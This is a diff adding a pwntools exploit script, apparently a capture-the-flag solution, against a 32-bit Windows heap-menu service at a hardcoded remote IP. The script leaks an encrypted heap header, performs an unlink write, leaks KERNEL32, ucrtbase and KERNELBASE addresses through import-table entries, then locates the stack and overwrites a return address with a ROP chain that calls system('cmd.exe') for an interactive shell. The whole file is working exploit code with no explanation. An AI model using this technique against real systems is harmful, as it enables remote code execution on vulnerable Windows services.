1
+
2
+ from pwn import *
3
+ context .bits = 32
4
+ # context.log_level = "debug"
5
+
6
+ def add (size , cont ):
7
+ assert '\n ' not in cont , "wrong content in add()"
8
+ io .sendlineafter ("choice?\r \n " , "1" )
9
+ io .sendlineafter ("sword?\r \n " , str (size ))
10
+ io .sendlineafter ("it!\r \n " , cont )
11
+
12
+ def delete (idx ):
13
+ io .sendlineafter ("choice?\r \n " , "2" )
14
+ io .sendlineafter ("destroy?\r \n " , str (idx ))
15
+
16
+ def edit (idx , cont ):
17
+ assert '\n ' not in cont , "wrong content in edit()"
18
+ io .sendlineafter ("choice?\r \n " , "3" )
19
+ io .sendlineafter ("polish?\r \n " , str (idx ))
20
+ io .sendlineafter ("time?\r \n " , str (len (cont )))
21
+ io .sendlineafter ("again : \r \n " , cont )
22
+
23
+ def show (idx ):
24
+ io .sendlineafter ("choice?\r \n " , "4" )
25
+ io .sendlineafter ("check?\r \n " , str (idx ))
26
+
27
+ def leave ():
28
+ io .sendlineafter ("choice?\r \n " , "5" )
29
+
30
+ def change_byte (target ):
31
+ io .sendlineafter ("choice?\r \n " , "1337" )
32
+ io .sendlineafter ("target?\r \n " , str (target ))
33
+
34
+ def leak (target , src ):
35
+ edit (4 , flat (target , src ))
36
+ show (5 )
37
+ io .recvuntil ("Show : " )
38
+ leaked = u32 (io .recvuntil ("\r \n " , drop = True ).ljust (4 , '0円 ' )[: 4 ])
39
+ success ("leaked {:#x} from {:#x}" .format (leaked , src ))
40
+ return leaked
41
+
42
+ def leak_header (chunk_idx ):
43
+ overflow_size = 0xff + 1
44
+ header = ""
45
+ while len (header ) < 8 :
46
+ edit (chunk_idx , 'x' * overflow_size )
47
+ show (chunk_idx )
48
+ io .recvuntil ('x' * overflow_size )
49
+ header += io .recvuntil ("\r \n " , drop = True ) + '0円 '
50
+ # print(hexdump(header))
51
+ overflow_size += len (header )
52
+ sleep (0.01 )
53
+
54
+ success ("leaked header : " )
55
+ print (hexdump (header [: 8 ]))
56
+ return header [: 8 ]
57
+
58
+ # io = remote("127.0.0.1", 1337)
59
+ io = remote ("47.112.111.53" , 12345 )
60
+ # sleep(4)
61
+
62
+ # leak exe base
63
+ io .recvuntil ("gift : " )
64
+ bin_base = int (io .recvuntil ("\r \n " , drop = True ), 16 ) - 0x001090
65
+ success ("bin_base @ {:#x}" .format (bin_base ))
66
+ target = bin_base + 0x004370 + 4 * 0x4
67
+ success ("target @ {:#x}" .format (target ))
68
+
69
+ for i in xrange (18 ):
70
+ add (0xff , p8 (65 + i ) * 0x10 )
71
+
72
+ # leak encrypted freed _HEAP_FREE_ENTRY header
73
+ delete (16 )
74
+ encrypted_freed_header = leak_header (15 )
75
+ assert '\n ' not in encrypted_freed_header , "bad luck, try again!"
76
+
77
+ edit (15 , flat ('x' * 0x100 , encrypted_freed_header ))
78
+ add (0xff , 'z' * 0x10 )
79
+
80
+ # unlink
81
+ # delete(3)
82
+ delete (4 )
83
+ delete (6 )
84
+
85
+ edit (3 , flat ('x' * 0x100 , encrypted_freed_header , target - 4 , target ))
86
+ delete (3 )
87
+
88
+ # leak dll
89
+
90
+ # KERNEL32.dll
91
+ sleep_iat = bin_base + 0x003008
92
+ success ("sleep_iat @ {:#x}" .format (sleep_iat ))
93
+ # ucrtbase.dll
94
+ puts_iat = bin_base + 0x0030C8
95
+ success ("puts_iat @ {:#x}" .format (puts_iat ))
96
+
97
+
98
+ change_byte (bin_base + 0x0043BC + 4 ) # g_inuse[4]
99
+ edit (4 , fit ({
100
+ 0x0 : flat (target , sleep_iat , puts_iat ),
101
+ 0x3c : p8 (1 ) * 18
102
+ }, filler = '0円 ' ))
103
+
104
+
105
+ show (5 )
106
+ io .recvuntil ("Show : " )
107
+ KERNEL32 = u32 (io .recvuntil ("\r \n " , drop = True ).ljust (4 , '0円 ' )[: 4 ]) - 0x00021ab0
108
+ success ("KERNEL32 @ {:#x}" .format (KERNEL32 ))
109
+ assert KERNEL32 & 0xfff == 0 , "Try again!"
110
+ GetPtrCalDataArray_iat = KERNEL32 + 0x00080b4c
111
+ success ("GetPtrCalDataArray_iat @ {:#x}" .format (GetPtrCalDataArray_iat ))
112
+
113
+
114
+ show (6 )
115
+ io .recvuntil ("Show : " )
116
+ ucrtbase = u32 (io .recvuntil ("\r \n " , drop = True ).ljust (4 , '0円 ' )[: 4 ]) - 0x000b89b0
117
+ success ("ucrtbase @ {:#x}" .format (ucrtbase ))
118
+ assert ucrtbase & 0xfff == 0 , "Try again!"
119
+ system = ucrtbase + 0x000efd80
120
+ success ("system @ {:#x}" .format (system ))
121
+
122
+
123
+ KERNELBASE = leak (target , GetPtrCalDataArray_iat ) - 0x00151fa0
124
+ success ("KERNELBASE @ {:#x}" .format (KERNELBASE ))
125
+ assert KERNELBASE & 0xfff == 0 , "Try again!"
126
+ BasepFilterInfo = KERNELBASE + 0x001c46b0
127
+ success ("BasepFilterInfo @ {:#x}" .format (BasepFilterInfo ))
128
+
129
+
130
+ heap = leak (target , BasepFilterInfo )
131
+ success ("heap @ {:#x}" .format (heap ))
132
+ stack_pointer = heap + 0x0000001d0
133
+ success ("stack_pointer @ {:#x}" .format (stack_pointer ))
134
+
135
+ # context.log_level = "debug"
136
+ stack = leak (target , stack_pointer )
137
+ success ("stack @ {:#x}" .format (stack ))
138
+ ret_addr = stack + 0x00000048
139
+ success ("ret_addr @ {:#x}" .format (ret_addr ))
140
+
141
+
142
+ # pause()
143
+ edit (4 , flat (target , ret_addr , "cmd.exe0円 " ))
144
+ # edit(4, flat(target, ret_addr, "calc.exe0円"))
145
+ ret_chain = flat (bin_base + 0x001552 ) * 0x48
146
+ rop = flat (
147
+ ret_chain ,
148
+ system ,
149
+ 0xdeadbeef ,
150
+ target + 8 ,
151
+ )
152
+ # pause()
153
+ edit (5 , rop )
154
+ leave ()
155
+
156
+ io .interactive ()
0 commit comments